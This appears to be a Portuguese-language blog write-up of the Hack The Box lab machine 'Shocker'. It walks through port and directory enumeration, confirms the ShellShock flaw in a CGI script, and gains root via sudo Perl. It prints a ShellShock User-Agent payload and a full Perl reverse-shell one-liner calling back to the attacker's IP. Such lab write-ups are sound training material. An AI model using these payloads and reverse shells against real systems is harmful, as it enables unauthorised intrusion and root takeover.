Introduction
Hora de HackThe Box
Vou iniciar uma nova série para cobrir todas as maquinas presentes na lista NetSecFocus para a OSCP
Se você nunca viu essa lista, vale conferir:
https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview
Eu gosto bastante da forma que o Ippsec realiza a enumeração dele, então os meus métodos são parecidos. Caso você não conheça o canal dele, vale muito dar uma conferida, o conteúdo dele é incrível!
https://www.youtube.com/c/ippsec
Agora vamos começar a máquina
https://app.hackthebox.com/machines/Shocker
Enumeration
Sempre comece com o NMAP, ele vai mostrar quais portas estão abertas e quais serviços estão rodando nessas portas. Vou criar um novo diretório para salvar os meus scans(Mantenha sempre organizado)
Vou scanear todas as portas com um comando só, lembrando que isso é mais demorado que procurar as mais utilizadas, mas assim eu só preciso de um comando para analisar tudo
nmap -sV -sC -p- -oA scans/all-ports-scans 10.10.10.56
-sV = Enumerar versões
-sC = Scripts Padrões
-p- = Todas as Portas
-oA = Output os Scans em todos os formatos
Vou analisar passo a passo o output do Nmap e descrever a minha linha de pensamento para cada detalhe
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 416.70 seconds
Primeiro a porta 80. Vemos o Apache e a Versão 2.4.18, vale sempre anotar todas as versões para jogar isso no SearchSploit. Depois a porta 2222 que contém o SSH, normalmente o SSH está na porta 22, tenha isso em mente caso formos utilizar esse serviço.
Outra coisa que me chamou a atenção é o OpenSSH Version 7.2p2 4ubuntu2.2, essa versão é provavelmente antiga, podemos dar uma olhada nisso utilizando o google o procurando o Lauchpad para a versão do Ubuntu, isso mostra que a máquina é de 2017.
Ok temos a data mas como isso ajuda? Se a máquina tivesse um update muito recente, provavelmente ele não vai ter vulnerabilidades mais clássicas como o EternalBlue ou DirtyCow.
HTTP
Eu sempre começo com o gobuster, dessa forma enquanto ele roda eu posso analisar manualmente
gobuster dir -u http://10.10.10.56 -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -f
Muito importante utilizar a flag -f para forçar a adição de uma / no final de cada palavra na lista, muitos diretórios não aparecem sem essa opção(Spoiler)
Deixe o gobuster rodando e vamos para o firefox
Nada, olhando o código fonte da página, ainda nada.
Podemos baixar a imagem da página e utilizar algo como ExifTool para ver a metadata, quem sabe tem algo escondido
Copie o Link para a imagem o utilize o wget para baixar ela. Eu vou colocar tudo dentro de uma pasta www
utilizando o exiftool para dar uma olhada na imagem, ainda não encontramos nada
Vamos retornar para o gobuster e ver os resultados.
/cgi-bin é sempre algo para dar uma olhada, já que essa pasta é um normalmente onde os scripts em outras linguagens que o Apache não consegue reconhecer ficam.
Vou utilizar o gobuster novamente e adicionar o -x para definir as extensões que eu quero. Como eu não sei quais arquivos podem estar ali, vamos chutar alguns scripts comuns.
gobuster dir -u http://10.10.10.56/cgi-bin -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -f -x sh,py,perl
Encontramos um arquivo chamado user.sh, vou navegar até ele
O fato de que o firefox não conseguiu abrir ele e me deu a opção de Download mostra que provavelmente esse é realmente um script em Bash.
Vou salvar o script na minha máquina e abrir
gedit user.sh
Esse comando parece o “Uptime” vamos comparar o que está no arquivo com o um real
Arquivo
Just an uptime test script
13:18:01 up 1:59, 0 users, load average: 0.02, 0.04, 0.00
Uptime
┌──(root💀kali)-[/HackTheBox/WriteUps/Shocker]
└─# uptime
13:19:31 up 2:19, 5 users, load average: 0.23, 0.26, 0.26
Agora eu tenho certeza de que esse arquivo está rodando comandos em Bash.
Pensando agora na Data da máquina + Arquivos em Bash no Cgi-Bin + O Nome Shocker
Isso traz uma certeza grande de que a vulnerabilidade que vemos aqui é o ShellShock.
Para quem não conhece, o shellshock foi uma vulnerabiliade enorme em Bash que permite executar comandos concatenados onde não deveriam.
ShellShock
O Nmap tem uma maneira de verificar essa vulnerabilidade
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56
–script = Nome do Script
–script-args = Argumentos para o script, nesse caso o arquivo que encontramos
Executando esse comando ele vai retornar que de fato a máquina é vulnerável ao ShellShock.
Uma breve observação, é sempre interessante descobrir o que o Nmap está rodando para encontrar esses resultados, então eu vou criar um proxy e enviar o request através do Burp.
Dentro da opção de Proxy – Options no Burp eu vou criar um novo Listeners e redirecionar tudo para o Shocker
Vou deixar o intercept em ON e agora o nmap vai ter 127.0.0.1 como alvo
Vou dar um Foward nos requests até encontrar algo que seja interessante
De uma olhada nesse GET
Os símbolos de (){}:; são um padrão comum para payloads do ShellShock, o Nmap testou todas as entradas por possíveis vulnerabilidades utilizando um payload genérico.
Vou enviar esse request para o Repeater
Vou remover os outros payloads e deixar apenas o que está no User-Agent, normalmente caso um não funcione, tente outro.
Antes de tentarmos uma Reverse Shell, um bom começo é verificar se conseguimos conversar com o Kali, um ping já serve. No Kali eu vou ligar o tcpdump e enviar um ping.
tcpdump -i tun0 icmp
GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: () { :;}; echo; ping 10.10.14.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Eu recebi o ping, então podemos tentar uma Shell agora.
Shell
Vou usar uma Bash shell básica do PentestMonkey CheatSheet, mas antes eu preciso executar o nc
Enviar o request
E pronto!
Uma das primeiras coisas que eu gosto de dar uma olhada para Priv Esc são as permissões para sudo. E para a minha surpresa, o usuário tem uma forma de executar comandos em Perl como Root!
Então vamos tentar direto uma shell em perl e executar como root.
Novamente na nossa Cheat Sheet eu vou utilizar a shell em perl.
Primeiro estou sem o TTY, vamos invocar ele utilizando o python (Esse é comando que utilizamos muito, com o tempo você até decora ele)
python3 -c 'import pty;pty.spawn("/bin/bash")'
Root Shell
E agora vamos executar a shell utilizando o SUDO, novamente inicie o nc
sudo /usr/bin/perl -e 'use Socket;$i="10.10.14.2";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
<n(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
E Root!
Lembre-se de entrar no servidor do Discord, eu também posto vídeos explicando essas máquinas caso você queira acompanhar:
https://www.youtube.com/channel/UCGHQa0DgRNGD8IMxURoCXRg
Um Abraço de urso e até a próxima.